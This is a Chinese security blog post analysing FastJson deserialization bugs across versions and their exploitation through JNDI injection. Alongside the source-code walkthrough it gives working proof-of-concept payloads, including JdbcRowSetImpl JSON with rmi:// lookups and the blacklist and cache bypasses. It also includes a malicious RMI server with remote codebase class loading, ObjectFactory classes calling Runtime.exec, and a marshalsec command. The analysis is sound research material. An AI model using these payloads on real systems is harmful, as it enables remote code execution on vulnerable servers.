纵览FastJson关键历史版本的JNDI注入

纵览FastJson关键历史版本的JNDI注入

写在前面

这篇文章大致分析了一些FastJson历史版本的漏洞以及配合JDNI注入的利用,但也只是笔者认为比较好利用的几个gadget。在48后大多需要开autotype才能利用的链其实都大同小异,所以只分析了CVE-2019-14540

FastJson示例

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.53</version>
</dependency>

建立一个用户类,实现Setter和getter方法

package FastJson;

public class User {
    private int age;
    private String name;
    public int getAge() {
        System.out.println("getAge方法被自动调用!");
        return age;
    }
    public void setAge(int age) {
        System.out.println("setAge方法被自动调用!");
        this.age = age;
    }
    public String getName() {
        System.out.println("getName方法被自动调用!");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName方法被自动调用!");
        this.name = name;
    }
}

调用com.alibaba.fastjson.JSON将JSON文本解析为对象,其中组件名为FastJson.User

package FastJson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Victim {

    public static void main(String[] args) {
        //使用@type指定该JSON字符串应该还原成何种类型的对象
        String userInfo = "{\"@type\":\"
FastJson.User\",\"name\":\"hpdoger\", \"age\":18}";
        //开启setAutoTypeSupport支持autoType
        ParserConfig.global.setAutoTypeSupport(true);
        //反序列化成User对象
        JSONObject user = JSON.parseObject(userInfo);
        //User user = (User) JSON.parse(userInfo);//只会调用setXX方法
        //System.out.println(user.getName());
    }
}

-w1123
-w1103

对于parse的函数有些要注意的:

  • JSON.parseObject调用全部属性的getXX方法,和设置属性的setXX方法
  • JSON.parse只会调用setXX方法,不会自动调用getXX
  • 是否调用setXX方法,是根据JSON字符串中是否有相应的字段决定的。如果去掉age字段则不会调用setAge方法。

FastJson载入对象流程

关闭autotype

从v1.2.25开始,fastjson默认关闭了autotype支持,只加载白名单中的类。这里本地1.53环境自然默认没有AutoType,走一遍解析JSON的主要操作。

以调用parseObject(evil.obj)为例,经过几个parse的重载后进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject处理逻辑,对for(;;)循环中每一次获取到的key值进行判断,若为@type则进行实例加载的逻辑

-w1440

typeName的值从lexer.scanSymbol(symbolTable, '"')获取,在scanSymbol内部的逻辑中,还对组件名进行了16进制解码的处理(如下),因此可以将组件名进行16进制编码绕过一些Filter,空指针2019的空开赛就有这样的利用。

case '\\': // 92
    hash = 31 * hash + (int) '\\';
    putChar('\\');
    break;
case 'x':
    char x1 = ch = next();
    char x2 = ch = next();

    int x_val = digits[x1] * 16 + digits[x2];
    char x_char = (char) x_val;
    hash = 31 * hash + (int) x_char;
    putChar(x_char);
    break;
case 'u':
    char c1 = chLocal = next();
    char c2 = chLocal = next();
    char c3 = chLocal = next();
    char c4 = chLocal = next();
    int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
    hash = 31 * hash + val;
    putChar((char) val);
    break;

获取组件名typename后跟进config.checkAutoType函数

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (autoTypeSupport || expectClassFlag) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
}

可以看到如果开启了autotypeexpectClassFlag,则会先从acceptHashCodes(白名单)中检索组件,存在即返回。否则再从denyHashCodes(黑名单)检索,存在就exit,而黑名单是根据denyHashCodes列表作为判断,每个hash对应的组件名见github:fastjson-blacklist

代码继续向下走,进入关键的一步。由于我们利用的组件不在白名单中,此处的clazz==null依然成立,但是autoTypeSupport || jsonType || expectClassFlag三者皆为false,无法进入判断,自然也不会对组件进行loadClass

if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

也就是当不开启autoType,即使依赖存在也就会抛出如下的错误
-w1127

因此,在后续的FastJson利用链中,攻防点主要在于开发者手动开启了autotype,对黑名单的绕过和加固。

开启autotype

设置ParserConfig.global.setAutoTypeSupport(true);,前面的操作和关闭aotutype相同,直接将断点下在TypeUtils.loadClass并跟进

Class<?> clazz = mappings.get(className);
if(clazz != null){
    return clazz;
}

if(className.charAt(0) == '['){
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}

if(className.startsWith("L") && className.endsWith(";")){
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}       

由于我们mappings里没有缓存,clazz依然为null,代码继续向下走判断className若包含”L”则去除后重新TypeUtils.loadClass。这里要提一下FJ1.2.25-1.2.41的版本存在的问题,在这些版本的FJ中,com.alibaba.fastjson.parser.ParserConfig的逻辑如下

-w1180

默认没有autoType,但是先进行了黑名单比对后再TypeUtils.loadClass,而在TypeUtils.loadClass中可以将”L”除去导致上一步的黑名单bypass。例如Lcom.sun.rowset.JdbcRowSetImpl最终被处理成为loadClass的参数:com.sun.rowset.JdbcRowSetImpl

言归正传,我们继续向下分析1.53的TypeUtils.loadClass流程(如下代码)

try{
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    if(contextClassLoader != null && contextClassLoader != classLoader){
        clazz = contextClassLoader.loadClass(className);
        if (cache) {
            mappings.put(className, clazz);
        }
        return clazz;
    }
} catch(Throwable e){
    // skip
}

在通过Thread.currentThread().getContextClassLoader()获取了当前线程上下文的ClassLoader之后,就可以进行真正的ClassLoader.loadClass操作将”com.xxx”加载进JVM

-w1101

到这里clazz已经成功获取为组件的Class实例了,接下来就是对Class的反序列化操作deserializer.deserialze(this, clazz, fieldName)后调用set方法,而在set方法里常常有lookup的调用导致JNDI注入

漏洞复现-FJ<=1.2.24

漏洞环境

  • maven直接加1.2.24
  • JDK 8u92
  • 无需开启autotype

demo如下。这是FJ最通用也是最早的攻击链,组件com.sun.rowset.JdbcRowSetImpl非外部依赖,利用性要好的多,在FJ后续利用bypass大部分基于此组件的利用。

package FastJson;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

public class Demo124 {

    public static void main(String[] args) {
    String poc1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}";
    JSON.parseObject(poc1);

    }
}

漏洞分析

漏洞点在于jdbc实现connect的函数中调用了lookupthis.getDataSourceName()可以通过setDataSourceName方法设置,很简单就不做过多分析了。
-w1440

漏洞复现-FJ=1.2.41/42

  • 无需autotype
  • JDK 8u92

poc如下,前文”#开启autotype”部分已经分析,在loadClass的时候会循环replaceL;绕过黑名单

"{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":false}"

漏洞复现-FJ<1.2.48

漏洞环境

  • 无需外部依赖
  • JDK 8u92
  • 无需autotype

漏洞分析

demo

package FastJson;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

public class Demo124 {

    public static void main(String[] args) {

        String poc2 = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}]";

        JSON.parseObject(poc2);

    }
}

可以看到POC里是数组的形式,一共有两个@type值。依然从parseObject逻辑开始跟,遍历第一个@type时,获取的clazzclass java.lang.Class

Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;

跟进deserializer.deserialze,此时lexer.token()LITERAL_STRING,所以我们要保证payload第一个键值为“val”,否则抛出异常

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
    ...//
    Object objVal;

    if (lexer.token() == JSONToken.LITERAL_STRING) {
    if (!"val".equals(lexer.stringVal())) {
        throw new JSONException("syntax error");
    }
    lexer.nextToken();
    } else {
    throw new JSONException("syntax error");
}

    objVal = parser.parse();
    strVal = (String) objVal;
    if (clazz == Class.class) {
    return (T)  TypeUtils.loadClass(strVal,parser.getConfig().getDefaultClassLoader());
}

经过parser函数解析获取“val”的键值,当前strValcom.sun.rowset.JdbcRowSetImpl,同时clazz==Class.class,将strVal带入TypeUtils.loadClass处理,这里两参数的loadClass在内部调用了三参数的loadClass,并且cache默认为true
-w1190

从下图可以看出,三参数的loadClass在cache开启时,将com.sun.rowset.JdbcRowSetImplClass实例组成的键值对写入mappings
-w1440

所以遍历数组的第二个@type值时,在ParserConfig.java#checkAutoType中从mappings里加载缓存过的组件com.sun.rowset.JdbcRowSetImpl,之后就是常规的setDataSourceName#lookup利用

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

//TypeUtils.java
public static Class<?> getClassFromMapping(String className){
    return mappings.get(className);
}

这个漏洞核心点还是在于当@type值为java.lang.Class时,会通过TypeUtils.loadClass加载其属性名并且缓存。搜索一下发现也只有这样的逻辑才能调用两参数的TypeUtils.loadClass,整个利用还是比较有趣的。

-w937

漏洞复现-FJ<1.2.60(CVE-2019-14540)

这个需要开启autotype,看看分析就好

漏洞环境

  • com.zaxxer.hikari.HikariConfig组件
  • maven直接加1.2.53的依赖(<1.2.60都可)
  • JDK 8u92
  • 需要开启autotype

坑点:本地jkd 8u211会因为版本过高而无法进行JDNI注入,7u80会因为版本过低而无法反射调用com.zaxxer.hikari.HikariConfig

漏洞分析

上文提到在解析JSON文本为对象后,会调用对象的set方法,在com.zaxxer.hikari.HikariConfig这个组件的setMetricRegistry方法中调用了getObjectOrPerformJndiLookup方法,且metricRegistry字段在JSON文本中可控。

-w1056

继续跟进getObjectOrPerformJndiLookup方法发现调用了initCtx.lookup,存在JDNI注入,只需要控制metricRegistry字段指向攻击者的RMI-Server,即可绑定JDNI Reference(攻击手段介绍参考JNDI注入)。

-w1440

漏洞复现-FJ=1.2.68

漏洞环境

  • maven直接加1.2.68的依赖
  • JDK 8u92
  • 无需开启autotype

-w1440

Demo168.java

package FastJson;

import com.alibaba.fastjson.JSON;

public class Demo168 {


    public static void main(String[] args) {

        String poc2 = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"Factory.Evil\", \"name\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}";

        JSON.parseObject(poc2);
    }
}

Factory.Evil.java

package Factory;

import java.io.IOException;

public class Evil implements java.lang.AutoCloseable{

    private String name;

    public void setName(String cmd){

        try{
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

    @Override
    public void close() throws Exception {

    }
}

漏洞分析

依然是解析的入口com/alibaba/fastjson/parser/DefaultJSONParser.java跟起

public final Object parseObject(final Map object, Object fieldName) {
...
if (!allDigits) {
    clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
lexer.nextToken(JSONToken.COMMA);
...
}

parseObject调用config.checkAutoType解析第一个@type指向的组件时,可以从TypeUtils.mappings里找到并返回
-w1440

返回clazz后lexer指向下一个Token(也就是字符),获取反序列化器JavaBeanDeserializer后进行JSON反序列化操作

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;

继续跟进JavaBeanDeserializer.deserialze,根据token值获取第二个@type组件值并赋值给typeName,此时的type为进入函数伊始的参数interface java.lang.AutoCloseable,获取expectClass为其Class实例

protected <T> T deserialze(DefaultJSONParser parser, // 
                           Type type, // 
                           Object fieldName, // 
                           Object object, //
                           int features, //
                           int[] setFlags) {

        int token = lexer.token();
        key = lexer.scanSymbol(parser.symbolTable);
        String typeName = lexer.stringVal();
        ....
        Class<?> expectClass = TypeUtils.getClass(type);
        userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());

接着跟进config.checkAutoType解析第二个@type组件,这一次由于expectClass存在且不为下述任意实例,因此expectClassFlag赋值为true。

        final boolean expectClassFlag;
        if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class
                    || expectClass == Serializable.class
                    || expectClass == Cloneable.class
                    || expectClass == Closeable.class
                    || expectClass == EventListener.class
                    || expectClass == Iterable.class
                    || expectClass == Collection.class
                    ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

我们在上文”#开启autotype”已经分析过,48版本以后会经过如下代码三个变量的检测判断是否可以loadClass,那么这里就创造了expectClassFlag变量这一条件

if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

checkAutotype函数最后用isAssignableFrom判断第二个@type指向的组件是否为expectClass的子类或子接口,否则抛出Error。这也就是该利用链最大的限制,需要从下列类的子类或子接口中找到一个可利用的setget方法

白名单(符合白名单条件的类)
TypeUtils.mappings (符合缓存映射中获取的类)
typeMapping (ParserConfig中本身带有的集合)
deserializers (符合反序列化器的类)

-w1440

利用局限

由于需要在子类或子接口中找利用,几乎没有可用的JNDI点,能利用的点多在于写文件。具体的poc参考threedr3am

JDK低版本的JNDI注入

自己编写RMI-Server

Server

package jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {

    public static void main(String[] args) throws Exception{


        String url = "http://127.0.0.1:7777/";

        // 对象的工厂类名
        String className = "Factory.Exploit";

        // 监听RMI服务端口
        LocateRegistry.createRegistry(1099);

        // 创建一个远程的JNDI对象工厂类的引用对象
        Reference reference = new Reference(className, className, url);

        // 转换为RMI引用对象
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        // 绑定一个恶意的Remote对象到RMI服务
        Naming.bind("rmi://127.0.0.1:1099/Exploit", referenceWrapper);

        System.out.println("RMI服务启动成功");

    }

}

Factory.Exploit.java如下,编译成class或jar后放代理服务上(我选择用python3 -m http.server 7777放到当前目录)

package Factory;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        return Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

使用marshalsec做RMI/LDAP-Server

恶意工厂类编译、放置与上述操作相同,要注意如果自己创建JNDI SPI Server,那么绑定到codebase上的类名可以自定义包结构,也就是增加package名。但是marshasec转发到codebase上的恶意类,必须要求无任何package

启动RMI-Server

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/\#MExploit 1099

-w1063

MExploit.java如下,不允许有包名

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class MExploit implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        return Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

JDK高版本的JNDI注入

为了防止自己咕咕咕,挖个坑下一篇文章好好分析

写在最后

吐槽一句,各种汇总exp的文章中对于某些特定版本的利用条件(例如是否需要开启autotype)很多都是错的,至少在我分析到47的时候,FastJson对于autotype这一选项的依赖程度还不是那么离谱。但是跟到48版本以后,几乎就绕不过这一选项了。

not found!